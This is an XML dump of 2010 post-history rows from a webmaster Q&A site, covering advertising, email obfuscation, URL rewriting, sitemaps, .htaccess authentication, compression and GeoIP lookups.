  <row Id="618" PostHistoryTypeId="1" PostId="337" RevisionGUID="e1fcea30-d6ee-4dd1-a1a6-62692693ffb1" CreationDate="2010-07-09T00:06:42.270" UserId="80" Text="How can we determine how much to spend on advertising our site?" />
  <row Id="619" PostHistoryTypeId="3" PostId="337" RevisionGUID="e1fcea30-d6ee-4dd1-a1a6-62692693ffb1" CreationDate="2010-07-09T00:06:42.270" UserId="80" Text="&lt;advertising&gt;&lt;ppc&gt;" />
  <row Id="620" PostHistoryTypeId="2" PostId="338" RevisionGUID="bb03f278-fa28-41b3-b364-0e615d056f81" CreationDate="2010-07-09T00:06:50.023" UserId="18" Text="One way:&#xD;&#xA;&#xD;&#xA;      &lt;script language=&quot;javascript&quot;&gt; &#xD;&#xA;      &lt;!--&#xD;&#xA;      var name = &quot;user&quot;&#xD;&#xA;      var host1 = &quot;gm&quot;&#xD;&#xA;      var host2 = &quot;ail.com&quot;&#xD;&#xA;      var addr =&#xD;&#xA;      document.write(&quot;&lt;a href=mai&quot; + &quot;lto:&quot; + &#xD;&#xA;        name + &quot;&amp;#64;&quot; + host1 + host2 +&#xD;&#xA;        &quot;&gt;&quot; + name + &quot;&amp;#64;&quot; + host1 + host2 + &quot;&lt;/a&gt;&quot;)&#xD;&#xA;      //--&gt;&#xD;&#xA;     &lt;/script&gt; &#xD;&#xA;You can write &quot;Unscramble my email: user at com dot gmail&quot; in [`&lt;noscript&gt;`][1] tags for those who have javascript turned off. This way you get the hyperlink functionality. You have a good chance at keeping spamers away from your address and people with javascript turned off or text only browsers can still get your email address.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/tags/tag_noscript.asp" />
  <row Id="621" PostHistoryTypeId="2" PostId="339" RevisionGUID="e41419ed-ef16-413f-a0ab-96b9718af85b" CreationDate="2010-07-09T00:07:26.743" UserId="138" Text="We used to have rediculous URLs that read like:&#xD;&#xA;&#xD;&#xA;`/DLLScripts/mydll.dll?APPLICATION=asdf&amp;PROGRAM=asdf&amp;ARGUMENTS=-N423,-A4`&#xD;&#xA;&#xD;&#xA;And our SEO was very, very poor because that URL tells me **nothing** about what's on that page (And I'm a human). A search engine knows even less than a human than what's on that page.&#xD;&#xA;&#xD;&#xA;So yes, it's important if you're running a sales-driven website. Spending the money to do the URL rewriting was worth every cent. Our search engine presence went from being non-existant to being the top organic result when searching for the services we offer.&#xD;&#xA;&#xD;&#xA;What else is important though is making sure that your page titles and meta tags are set correctly, becuase even if you have a crappy URL the search engine results will still display accurate information for when it does show up." />
  <row Id="622" PostHistoryTypeId="2" PostId="340" RevisionGUID="19331cad-72c5-4150-962b-cd1795adfcfc" CreationDate="2010-07-09T00:08:27.320" UserId="26" Text="[Sitemap Limits:][1]&#xD;&#xA;&#xD;&#xA;&gt; Sitemap files have a limit of 50,000&#xD;&#xA;&gt; URLs and 10 megabytes per sitemap.&#xD;&#xA;&gt; Sitemaps can be compressed using gzip,&#xD;&#xA;&gt; reducing bandwidth consumption.&#xD;&#xA;&gt; Multiple sitemap files are supported,&#xD;&#xA;&gt; with a Sitemap index file serving as&#xD;&#xA;&gt; an entry point for a total of 1000&#xD;&#xA;&gt; Sitemaps.&#xD;&#xA;&#xD;&#xA;Note that you can specify [multiple sitemaps in your robots.txt file][2]:&#xD;&#xA;&#xD;&#xA;If you're bumping into the limitation, perhaps divide your users up somehow. Let's say each of your users has no more than 10,000 urls a piece, you could break it up into files and add this to your `robots.txt` file:&#xD;&#xA;&#xD;&#xA;    Sitemap: http://www.example.com/sitemaps/users-001-005.xml&#xD;&#xA;    Sitemap: http://www.example.com/sitemaps/users-006-010.xml&#xD;&#xA;    Sitemap: http://www.example.com/sitemaps/users-011-015.xml&#xD;&#xA;    Sitemap: http://www.example.com/sitemaps/users-016-020.xml&#xD;&#xA;    Sitemap: http://www.example.com/sitemaps/users-021-025.xml&#xD;&#xA;    Sitemap: http://www.example.com/sitemaps/users-026-030.xml&#xD;&#xA;    Sitemap: http://www.example.com/sitemaps/users-031-035.xml&#xD;&#xA;    Sitemap: http://www.example.com/sitemaps/users-036-040.xml&#xD;&#xA;    Sitemap: http://www.example.com/sitemaps/users-041-045.xml&#xD;&#xA;    Sitemap: http://www.example.com/sitemaps/users-046-050.xml&#xD;&#xA;&#xD;&#xA;Now, you'd still have to be mindful of the 10MB limit for each individual sitemap, but this is an approach to handle the &quot;too many&quot; urls problem.&#xD;&#xA;&#xD;&#xA;See the [CNN][3] and [Google][4] `robots.txt` files to see multiple sitemaps in action.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sitemaps#Sitemap_limits&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Robots.txt#Sitemap&#xD;&#xA;  [3]: http://www.cnn.com/robots.txt&#xD;&#xA;  [4]: http://www.google.com/robots.txt&#xD;&#xA;" />
  <row Id="623" PostHistoryTypeId="2" PostId="341" RevisionGUID="e0df6141-5e9b-4c80-bfa0-c57593020bec" CreationDate="2010-07-09T00:10:16.770" UserId="138" Text="Related to [another question][1] - if your need to get URL rewriting implemented ASAP, what are some methods that you've used or know of that can speed this up?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/336/do-keyword-based-filenames-and-urls-really-matter/" />
  <row Id="624" PostHistoryTypeId="1" PostId="341" RevisionGUID="e0df6141-5e9b-4c80-bfa0-c57593020bec" CreationDate="2010-07-09T00:10:16.770" UserId="138" Text="What's the quickest/cheapest way to get URL rewriting implemented?" />
  <row Id="625" PostHistoryTypeId="3" PostId="341" RevisionGUID="e0df6141-5e9b-4c80-bfa0-c57593020bec" CreationDate="2010-07-09T00:10:16.770" UserId="138" Text="&lt;url-rewriting&gt;&lt;automation&gt;" />
  <row Id="626" PostHistoryTypeId="2" PostId="342" RevisionGUID="2ce9f0aa-8681-4952-8e37-5edc11aeaf74" CreationDate="2010-07-09T00:11:24.130" UserId="18" Text="If you use a [sitemap][1] you should be fine with query strings. Google can index them. That said, I'm unsure about how other search engines handle them and friendly URLs are certainly nicer looking, but they may not be worth the cost of the switch.&#xD;&#xA;&#xD;&#xA;See: [http://googlewebmastercentral.blogspot.com/2008/09/dynamic-urls-vs-static-urls.html][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sitemaps&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2008/09/dynamic-urls-vs-static-urls.html" />
  <row Id="627" PostHistoryTypeId="2" PostId="343" RevisionGUID="d4f02545-7de8-4acc-8df2-d854d716aa1b" CreationDate="2010-07-09T00:13:36.497" UserId="80" Text="The marketing team says I need a landing page.  What is that and why should I bother?" />
  <row Id="628" PostHistoryTypeId="1" PostId="343" RevisionGUID="d4f02545-7de8-4acc-8df2-d854d716aa1b" CreationDate="2010-07-09T00:13:36.497" UserId="80" Text="What's a landing page?" />
  <row Id="629" PostHistoryTypeId="3" PostId="343" RevisionGUID="d4f02545-7de8-4acc-8df2-d854d716aa1b" CreationDate="2010-07-09T00:13:36.497" UserId="80" Text="&lt;seo&gt;&lt;landing-page&gt;" />
  <row Id="630" PostHistoryTypeId="2" PostId="344" RevisionGUID="2d3d0d34-cc6d-44a2-9c96-b7c5b48113fc" CreationDate="2010-07-09T00:17:24.680" UserId="46" Text="A [landing page][1] is the page that appears when a user clicks on an ad.  It can be a bit more targeted than just your home page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Landing_page" />
  <row Id="631" PostHistoryTypeId="2" PostId="345" RevisionGUID="b69d4ecc-dd08-4bda-904e-b3f27e699bc8" CreationDate="2010-07-09T00:17:25.150" UserId="26" Text="2 Possible approaches:&#xD;&#xA;&#xD;&#xA; - [HTML5 Shims][1], which are code snippets to allow you to use HTML5 features but with error correcting backstops&#xD;&#xA; - [Modernizr][2], which is a toolkit to apply CSS classes on the body that you can use as part of detecting individual features and displaying warnings or disabling code if those classes are present or not present.&#xD;&#xA;&#xD;&#xA;The [Detecting HTML 5 Features][3] chapter of [Dive Into HTML 5][4] is a great reference as well.&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/html5-shims/&#xD;&#xA;  [2]: http://www.modernizr.com/&#xD;&#xA;  [3]: http://diveintohtml5.org/detect.html&#xD;&#xA;  [4]: http://diveintohtml5.org/" />
  <row Id="632" PostHistoryTypeId="2" PostId="346" RevisionGUID="62dda128-e8ec-49f3-b7bb-bc12f28125c1" CreationDate="2010-07-09T00:17:41.437" UserDisplayName="delete" Text="I do my own log processing using my own self-written analyzer. Is there anywhere I can get an up-to-date list of referrer spammers?&#xD;&#xA;" />
  <row Id="633" PostHistoryTypeId="1" PostId="346" RevisionGUID="62dda128-e8ec-49f3-b7bb-bc12f28125c1" CreationDate="2010-07-09T00:17:41.437" UserDisplayName="delete" Text="Anywhere to get a list of referrer spammers?" />
  <row Id="634" PostHistoryTypeId="3" PostId="346" RevisionGUID="62dda128-e8ec-49f3-b7bb-bc12f28125c1" CreationDate="2010-07-09T00:17:41.437" UserDisplayName="delete" Text="&lt;spam&gt;&lt;referrer&gt;" />
  <row Id="635" PostHistoryTypeId="2" PostId="347" RevisionGUID="2076b4e4-967d-41cf-953b-a4d9369ddef2" CreationDate="2010-07-09T00:19:52.537" UserId="138" Text="We managed to do several hundred products in under 8 hours. Here was our scenario:&#xD;&#xA;&#xD;&#xA;We had:&#xD;&#xA;&#xD;&#xA;- Dog ugly URLs that were filled with meaningless parameters&#xD;&#xA;- In-house developers&#xD;&#xA;- Full access to the SQL database and schema&#xD;&#xA;- IIS6/[ISAPI Rewrite][1] (but we could have done this for others)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##Option 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Our products table looked like this:&#xD;&#xA;&#xD;&#xA;    ID | Product Name | Description | etc&#xD;&#xA;    -------------------------------------&#xD;&#xA;    001|Product 1     | This is...  | etc&#xD;&#xA;    002|Product 1     | This is...  | etc&#xD;&#xA;    003|Product 1     | This is...  | etc&#xD;&#xA;&#xD;&#xA;So we wrote a small batch program that would loop through our `products` table and create entries in our `httpd.ini` file (ISAPI Rewrite's version of `.htaccess`), so that we ended up with a file with hundreds of entries like this:&#xD;&#xA;&#xD;&#xA;`RewriteRule (/product-1/) /DLLFolder/Requester.dll?APPLICATION=MyApp&amp;PROGRAM=Products&amp;ARGUMENTS=-N001 [I,O,U]`&#xD;&#xA;&lt;sub&gt;* Please see disclaimer&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;Our products don't change very often, so we just re-run this manually each time we added something. Not elegant, but this is about getting it done quick/cheap.&#xD;&#xA;&#xD;&#xA;Then, everywhere that our links were printed to products, we just made sure that the links were outputted to their full URL.&#xD;&#xA;&#xD;&#xA;This took about 8 hours in total.&#xD;&#xA;&#xD;&#xA;##Option 2&#xD;&#xA;&#xD;&#xA;A single generic URL Rewriting rule that looks something like this:&#xD;&#xA;&#xD;&#xA;`RewriteRule (/products/)(.*/)(.*) /DLLFolder/Requester.dll?APPLICATION=MyApp&amp;PROGRAM=Products&amp;ARGUMENTS=-N$3 [I,O,U]`&#xD;&#xA;&lt;sub&gt;* Please see disclaimer&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;This meant we could write:&#xD;&#xA;&#xD;&#xA;`/products/my/thing/whatever/the/hell/i/want/123`&#xD;&#xA;&#xD;&#xA;And it would rewrite to the correct URL. Then it's just a matter of changing the output of your URL links.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;* **DISCLAIMER**: My regex skills are very rusty and I made those up on the spot. They may be wrong. Your milage on the actual regex's may vary, but the concept still stands.&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.isapirewrite.com/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="636" PostHistoryTypeId="5" PostId="341" RevisionGUID="083a43ff-581a-465d-ad69-32cdf1c2b287" CreationDate="2010-07-09T00:20:08.777" UserId="138" Comment="deleted 1 characters in body" Text="Related to [another question][1] - if you need to get URL rewriting implemented ASAP, what are some methods that you've used or know of that can speed this up?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/336/do-keyword-based-filenames-and-urls-really-matter/" />
  <row Id="637" PostHistoryTypeId="5" PostId="307" RevisionGUID="be58d349-7790-4ba1-9a1b-0e21b4b1d13d" CreationDate="2010-07-09T00:22:20.613" UserId="87" Comment="added link; deleted 1 characters in body" Text="You'll need to create a file called `.htpasswd` with the content of `username:password` (you should encrypt that.&#xD;&#xA;&#xD;&#xA;Then append this to the `htaccesss file`:&#xD;&#xA;&#xD;&#xA;    AuthUserFile /usr/local/you/safedir/.htpasswd&#xD;&#xA;    AuthGroupFile /dev/null&#xD;&#xA;    AuthName EnterPassword&#xD;&#xA;    AuthType Basic&#xD;&#xA;&#xD;&#xA;    require user username&#xD;&#xA;&#xD;&#xA;Follow [this guide][1].&#xD;&#xA;&#xD;&#xA;Also, here is a tool for generating the encrypted passwords: http://tools.dynamicdrive.com/password (Thanks to the original poster for the link)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.javascriptkit.com/howto/htaccess3.shtml&#xD;&#xA;" />
  <row Id="638" PostHistoryTypeId="2" PostId="348" RevisionGUID="a2289e9c-8bf5-4589-80ab-ef1d0e1e5003" CreationDate="2010-07-09T00:28:24.610" UserId="15" Text="In addition to these responses, a lot of HTML5 elements like the form elements degrade gracefully to simple textboxes because if a browser doesn't recognize the `type` attribute, it defaults to `text`. Also, if a browser doesn't recognize an attribute (like `placeholder`) it just ignores it. This graceful degradation means that you can implement these elements without having to worry about things messing up if a user's browser doesn't support HTML5. They just simply won't see anything special." />
  <row Id="639" PostHistoryTypeId="2" PostId="349" RevisionGUID="68759738-f803-4740-a3f9-794b8455e944" CreationDate="2010-07-09T00:28:44.830" UserDisplayName="delete" Text="No, you can't; GIF format only allows 256 colours.&#xD;&#xA;" />
  <row Id="640" PostHistoryTypeId="2" PostId="350" RevisionGUID="1d43daef-be5a-4f0e-ab65-db47350047b3" CreationDate="2010-07-09T00:31:15.823" UserDisplayName="delete" Text="How can I tell which of my pages got adsense clicks?" />
  <row Id="641" PostHistoryTypeId="1" PostId="350" RevisionGUID="1d43daef-be5a-4f0e-ab65-db47350047b3" CreationDate="2010-07-09T00:31:15.823" UserDisplayName="delete" Text="How can I tell which of my pages got adsense clicks?" />
  <row Id="642" PostHistoryTypeId="3" PostId="350" RevisionGUID="1d43daef-be5a-4f0e-ab65-db47350047b3" CreationDate="2010-07-09T00:31:15.823" UserDisplayName="delete" Text="&lt;google-adsense&gt;" />
  <row Id="643" PostHistoryTypeId="2" PostId="351" RevisionGUID="581a6d9c-d023-4cc5-8cea-1b0e84a4be42" CreationDate="2010-07-09T00:31:41.687" UserDisplayName="delete" Text="Use Google analytics and associate your adsense account with the Analytics account.&#xD;&#xA;" />
  <row Id="644" PostHistoryTypeId="2" PostId="352" RevisionGUID="596f1fa2-c9a8-4ce7-a04e-a9fe21145b41" CreationDate="2010-07-09T00:34:18.530" UserDisplayName="delete" Text="Strangely enough the official Apache documentation is quite a good place to start.&#xD;&#xA;&#xD;&#xA;The documentation seems to have lagged behind the browser, so one tip is to make sure to look at the Apache 1.3 documents, since these are often more complete than the Apache 2.2 ones.&#xD;&#xA;" />
  <row Id="645" PostHistoryTypeId="2" PostId="353" RevisionGUID="dc7a8123-6d52-4fd5-9a48-08aaf4dddac6" CreationDate="2010-07-09T00:35:57.593" UserDisplayName="delete" Text="What are resources for learning the various things I can do with .htaccess?&#xD;&#xA;" />
  <row Id="646" PostHistoryTypeId="1" PostId="353" RevisionGUID="dc7a8123-6d52-4fd5-9a48-08aaf4dddac6" CreationDate="2010-07-09T00:35:57.593" UserDisplayName="delete" Text="What are some resources for learning the ins and outs of .htaccess?" />
  <row Id="647" PostHistoryTypeId="3" PostId="353" RevisionGUID="dc7a8123-6d52-4fd5-9a48-08aaf4dddac6" CreationDate="2010-07-09T00:35:57.593" UserDisplayName="delete" Text="&lt;htaccess&gt;" />
  <row Id="648" PostHistoryTypeId="16" PostId="353" RevisionGUID="dc7a8123-6d52-4fd5-9a48-08aaf4dddac6" CreationDate="2010-07-09T00:35:57.593" UserDisplayName="delete" />
  <row Id="649" PostHistoryTypeId="2" PostId="354" RevisionGUID="12cafe8b-0a2b-4804-a15c-6fd95390df7c" CreationDate="2010-07-09T00:37:27.637" UserDisplayName="delete" Text="[Stupid htaccess tricks][1], despite the name and colour scheme it's not stupid.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/" />
  <row Id="650" PostHistoryTypeId="16" PostId="354" RevisionGUID="12cafe8b-0a2b-4804-a15c-6fd95390df7c" CreationDate="2010-07-09T00:37:27.637" UserId="-1" />
  <row Id="651" PostHistoryTypeId="2" PostId="355" RevisionGUID="8896d796-de6e-486e-9428-fc2a907b4094" CreationDate="2010-07-09T00:40:42.870" UserDisplayName="delete" Text="I can access very accurate geolocate info from Google Analytics, but is there any way to access the geolocate information of Google or otherwise for an IP address, from a computer program, like a web ervice or something? I know there is &quot;whois&quot; but I would like something a little less hassle.&#xD;&#xA;" />
  <row Id="652" PostHistoryTypeId="1" PostId="355" RevisionGUID="8896d796-de6e-486e-9428-fc2a907b4094" CreationDate="2010-07-09T00:40:42.870" UserDisplayName="delete" Text="Geolocate service I can use?" />
  <row Id="653" PostHistoryTypeId="3" PostId="355" RevisionGUID="8896d796-de6e-486e-9428-fc2a907b4094" CreationDate="2010-07-09T00:40:42.870" UserDisplayName="delete" Text="&lt;ip-address&gt;" />
  <row Id="654" PostHistoryTypeId="2" PostId="356" RevisionGUID="ea538f73-ef8d-42a4-80ff-ab5df285407b" CreationDate="2010-07-09T00:45:15.030" UserId="26" Text="What are the best options for parsing Amazon S3 (Simple Storage) log files? I've turned on logging and now I have log files that look like this:&#xD;&#xA;&#xD;&#xA;    858e709ba90996df37d6f5152650086acb6db14a67d9aaae7a0f3620fdefb88f files.example.com [08/Jul/2010:10:31:42 +0000] 68.114.21.105 65a011a29cdf8ec533ec3d1ccaae921c 13880FBC9839395C REST.GET.OBJECT example.com/blog/wp-content/uploads/2006/10/kitties_we_cant_stop_here_this_is_bat_country.jpg &quot;GET /example.com/blog/wp-content/uploads/2006/10/kitties_we_cant_stop_here_this_is_bat_country.jpg HTTP/1.1&quot; 200 - 32957 32957 12 10 &quot;http://atlanta.craigslist.org/forums/?act=Q&amp;ID=163218891&quot; &quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19&quot; -&#xD;&#xA;&#xD;&#xA;What are the best options for automating the log files? I'm not using any other Amazon services other than S3." />
  <row Id="655" PostHistoryTypeId="1" PostId="356" RevisionGUID="ea538f73-ef8d-42a4-80ff-ab5df285407b" CreationDate="2010-07-09T00:45:15.030" UserId="26" Text="How can I parse Amazon S3 log files?" />
  <row Id="656" PostHistoryTypeId="3" PostId="356" RevisionGUID="ea538f73-ef8d-42a4-80ff-ab5df285407b" CreationDate="2010-07-09T00:45:15.030" UserId="26" Text="&lt;analytics&gt;&lt;amazon-s3&gt;&lt;logging&gt;" />
  <row Id="657" PostHistoryTypeId="2" PostId="357" RevisionGUID="f82261a1-b8c2-4af8-abad-ceaa474b4174" CreationDate="2010-07-09T00:48:51.340" UserDisplayName="delete" Text="The browser may send an &quot;Accept Encoding&quot; header which says it can accept different kinds of encoding. Usually this is &quot;gzip, deflate&quot;. Google Chrome has a weirdo format called &quot;sdch&quot; which you can just ignore. Then, if you get that header from the other browser, you can, if you wish, send your content back compressed using either the gzip or the deflate format. Both the gzip and deflate formats are defined in RFC (internet standards documents). There is no &quot;zip&quot; option, although there may be a &quot;bzip2&quot; option in some browsers.&#xD;&#xA;&#xD;&#xA;Now your problem is to encode your stuff in that format and send it back. If you are using Apache there are ways to set it up to do that automatically (mod_deflate etc.). If you are sending images then note that most image formats like JPEG, PNG, GIF, etc. are already compressed so you don't get any benefit from compressing them. Basically it only works for HTML, CSS, plain text, or JavaScript.&#xD;&#xA;&#xD;&#xA;You need to be careful using the &quot;deflate&quot; encoding since Internet Explorer has a long-standing bug where it doesn't understand that too well. I believe that fancy-pants things like Google App Engine will automatically work out what compression to use and apply it for you.&#xD;&#xA;" />
  <row Id="658" PostHistoryTypeId="2" PostId="358" RevisionGUID="88de8352-8772-4bf1-a759-cb8ea3741054" CreationDate="2010-07-09T00:51:52.363" UserId="69" Text="One of the best options I have found for doing this is [MaxMind city GeoIP data][1]. They have an [API][2] and a free [lite version][3] you can get started with as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.maxmind.com/app/city&#xD;&#xA;  [2]: http://www.maxmind.com/app/web_services#city&#xD;&#xA;  [3]: http://www.maxmind.com/app/geolitecity" />
  <row Id="659" PostHistoryTypeId="2" PostId="359" RevisionGUID="be48534e-029d-4d5d-aaf5-d90c964cb25d" CreationDate="2010-07-09T00:52:03.970" UserId="80" Text="There are a number of services that will scan a website for vulnerabilities and allow the display of a &quot;trustmark&quot; image if the site passes their tests.  This allegedly increases the level of trust a potential client feel toward the website and therefore makes them more likely to complete a purchase.  McAfee claims it has studies which show significant increases in sales.  Should I take their word for it?  What sort of increase should I really expect, if any?  Are these types of services worth the prices they charge?" />
  <row Id="660" PostHistoryTypeId="1" PostId="359" RevisionGUID="be48534e-029d-4d5d-aaf5-d90c964cb25d" CreationDate="2010-07-09T00:52:03.970" UserId="80" Text="Are &quot;trustmarks&quot; such as McAfee Secure worth the cost?" />
  <row Id="661" PostHistoryTypeId="3" PostId="359" RevisionGUID="be48534e-029d-4d5d-aaf5-d90c964cb25d" CreationDate="2010-07-09T00:52:03.970" UserId="80" Text="&lt;security&gt;&lt;ecommerce&gt;" />
  <row Id="662" PostHistoryTypeId="5" PostId="357" RevisionGUID="5a463539-bb78-4fce-8a98-ee232547f807" CreationDate="2010-07-09T00:54:58.020" UserDisplayName="delete" Comment="added 128 characters in body; added 11 characters in body" Text="The browser may send an &quot;Accept Encoding&quot; header which says it can accept different kinds of encoding. Usually this is &quot;gzip, deflate&quot;. (Google Chrome has a weirdo format called &quot;sdch&quot; which you can just ignore.) Then, if you get that header from the browser, you can, if you wish, send your content back compressed using either the gzip or the deflate format. When you do that, of course you need to tell the browser what you've done, so you add the &quot;Content Encoding&quot; header to your outgoing stuff.&#xD;&#xA;&#xD;&#xA;Both the gzip and deflate formats are defined in RFC (internet standards documents). There is no &quot;zip&quot; option, although there may be a &quot;bzip2&quot; option in some browsers.&#xD;&#xA;&#xD;&#xA;Now your problem is to encode your stuff in that format and send it back. If you are using Apache there are ways to set it up to do that automatically (mod_deflate etc.). If you are sending images then note that most image formats like JPEG, PNG, GIF, etc. are already compressed so you don't get any benefit from compressing them. Basically it only works for HTML, CSS, plain text, or JavaScript.&#xD;&#xA;&#xD;&#xA;You need to be careful using the &quot;deflate&quot; encoding since Internet Explorer has a long-standing bug where it doesn't understand that too well. I believe that fancy-pants things like Google App Engine will automatically work out what compression to use and apply it for you.&#xD;&#xA;" />
  <row Id="663" PostHistoryTypeId="2" PostId="360" RevisionGUID="52f5bed8-6ffd-46f3-9bed-56870f78a22d" CreationDate="2010-07-09T00:59:44.173" UserId="141" Text="It depends on your target users.&#xD;&#xA;&#xD;&#xA;If most of your clients are your typical grandma then yes, having that certification will help a lot because it gives a (somewhat false, imo) sense of security.&#xD;&#xA;&#xD;&#xA;But, if most of your clients are - let's say - programmers then it won't do any good, because we know how little that certification really means." />
  <row Id="664" PostHistoryTypeId="2" PostId="361" RevisionGUID="7324efa1-eb60-466a-b998-e15d0e3699b5" CreationDate="2010-07-09T01:00:21.067" UserDisplayName="delete" Text="The big plus of valid HTML is that your page is then more accessible to things other than &quot;major browsers&quot;. All of the &quot;major browsers&quot; have endless workarounds to deal with all the invalid junk which populates the WWW. However, sticking to valid HTML helps, for example, if someone is using a browser for the visually impaired, or accessing your pages off-line, etc." />
  <row Id="665" PostHistoryTypeId="2" PostId="362" RevisionGUID="c36fa913-8bfd-4375-840e-60b79cc80ce9" CreationDate="2010-07-09T01:04:18.640" UserDisplayName="delete" Text="If you want to learn `&lt;canvas&gt;`, [Mozilla's page][1] seems quite good.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.mozilla.org/en/Canvas_tutorial" />
  <row Id="666" PostHistoryTypeId="2" PostId="363" RevisionGUID="f427d541-11a2-4963-8d80-001ae423657c" CreationDate="2010-07-09T01:08:43.917" UserDisplayName="delete" Text="I know how to find dead links which go to 404 pages. However, these days not many links actually go dead, but instead they end up going to a domain squatter. I realise this is a tall order, but is there any way to find out whether a website is actually a domain squatter?&#xD;&#xA;" />
  <row Id="667" PostHistoryTypeId="1" PostId="363" RevisionGUID="f427d541-11a2-4963-8d80-001ae423657c" CreationDate="2010-07-09T01:08:43.917" UserDisplayName="delete" Text="How can I detect links which point to domain squatters?" />
  <row Id="668" PostHistoryTypeId="3" PostId="363" RevisionGUID="f427d541-11a2-4963-8d80-001ae423657c" CreationDate="2010-07-09T01:08:43.917" UserDisplayName="delete" Text="&lt;tall-order&gt;" />
  <row Id="669" PostHistoryTypeId="2" PostId="364" RevisionGUID="43e4a475-6b2f-4616-a15f-7513c8a74636" CreationDate="2010-07-09T01:10:44.723" UserId="138" Text="I agree and disagree with Andreas' answer. Yes, it totally depends on your userbase.&#xD;&#xA;&#xD;&#xA;But my grandma sure as hell doesn't care if her favourite site has been 'secured' by McAfee. She'd want to know what a coffee company has to do with her website. And as a sysadmin I also know that those certifications are bogus to a certain extent.&#xD;&#xA;&#xD;&#xA;However, I also webmaster a site that deals with lawyers and the storage of legal documents, where they have to enter confidential information. When it comes to this, as many stamps and seals you can get that are appropriate may help your clientelle trust you. Or so we thought. In one update I forgot to re-instate the seals (we had Thawte ones) and you wanna know how much difference it made to our sales? None. Zip. Zilch. So much so that we've since gone and ditched all the seals on our site and bought $10 SSL certificates rather than the $500 ones that come with certification seals." />
  <row Id="670" PostHistoryTypeId="2" PostId="365" RevisionGUID="e342893e-4842-4ac8-adec-b3455fc6ff24" CreationDate="2010-07-09T01:19:30.287" UserDisplayName="delete" Text="Basically, try saving your image in different formats and then look at the file size.&#xD;&#xA;&#xD;&#xA;If you are using JPEG, you should be able to adjust the image's quality up and down in a graphics editor like paint.net. 50% quality of image is usually good enough for the web and makes the image much smaller.&#xD;&#xA;&#xD;&#xA;With PNG you can't do this but it is worth noting that sometimes PNG is much larger and sometimes much smaller than JPEG. PNG is much smaller for black-and-white images, for example, such as black and white line drawings.&#xD;&#xA;&#xD;&#xA;The advice given these days is to use CSS sprites to speed up load times by reducing requests, but again you need to actually look at the image size you get. It's quite possible that the CSS sprite image will be much bigger than the component images, if, for example, you combine several black and white PNGs with a colour one.&#xD;&#xA;" />
  <row Id="671" PostHistoryTypeId="2" PostId="366" RevisionGUID="2ffbe244-b9ee-4f0e-869a-096c0ed88312" CreationDate="2010-07-09T01:20:09.570" UserId="138" Text="There are things you can look for. Is the dominant element on the page an iFrame? Is the response a `301`/`302` that takes you off-domain? (many squatters will simply `302` or `301` you to their landing page). Is the link/text ratio incredibly high?&#xD;&#xA;&#xD;&#xA;I'd say it's very difficult, but that's at least some common characteristics.&#xD;&#xA;&#xD;&#xA;There also seems to be a project on the Wikipedia `linkrot` page referring to some project that attempts to do this: http://en.wikipedia.org/wiki/Wikipedia_talk:Linkrot - details are sketchy though." />
  <row Id="672" PostHistoryTypeId="5" PostId="363" RevisionGUID="f973c731-05f7-4ade-8114-dc208c6fe1c6" CreationDate="2010-07-09T01:21:10.800" UserDisplayName="delete" Comment="added 63 characters in body" Text="I know how to find dead links which go to 404 pages. However, these days not many links actually go dead, but instead they end up going to a domain squatter. I realise this is a tall order, but is there any way to find out whether a website is actually a domain squatter without examining it (for pictures of girls with rucksacks etc.)?" />
  <row Id="673" PostHistoryTypeId="2" PostId="367" RevisionGUID="0feac44e-3e04-47fd-a1e6-155fbcb4e1f3" CreationDate="2010-07-09T01:23:36.330" UserId="161" Text="I use this in PHP, obviously it's easily applicable in any other language&#xD;&#xA;&#xD;&#xA;    // I configured te campaign whit the addres ending in &amp;origen=adwords:SRAM&#xD;&#xA;    $origen = filter_input(INPUT_GET, 'origen');&#xD;&#xA;    if($origen!=FALSE) {&#xD;&#xA;            // log, mail, whatever&#xD;&#xA;    }" />
  <row Id="674" PostHistoryTypeId="2" PostId="368" RevisionGUID="2b518217-52d9-4ab8-8aa5-42021872715a" CreationDate="2010-07-09T01:26:37.197" UserId="138" Text="We had a domain name that ended in &quot;live&quot; and when the radio campaign went to air, a lot of people heard &quot;live&quot; as &quot;life&quot; (especially as the word &quot;life&quot; fitted our product as well).&#xD;&#xA;&#xD;&#xA;We found after registering the &quot;life&quot; version of our domain our traffic increased dramatically." />
  <row Id="675" PostHistoryTypeId="5" PostId="352" RevisionGUID="27940cdb-cc2a-4693-a055-f61031ff9b37" CreationDate="2010-07-09T01:26:55.200" UserDisplayName="delete" Comment="added 28 characters in body" Text="[The official Apache documentation][1] is quite a good place to start.&#xD;&#xA;&#xD;&#xA;The documentation seems to have lagged behind the browser, so one tip is to make sure to look at the Apache 1.3 documents, since these are often more complete than the Apache 2.2 ones.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/" />
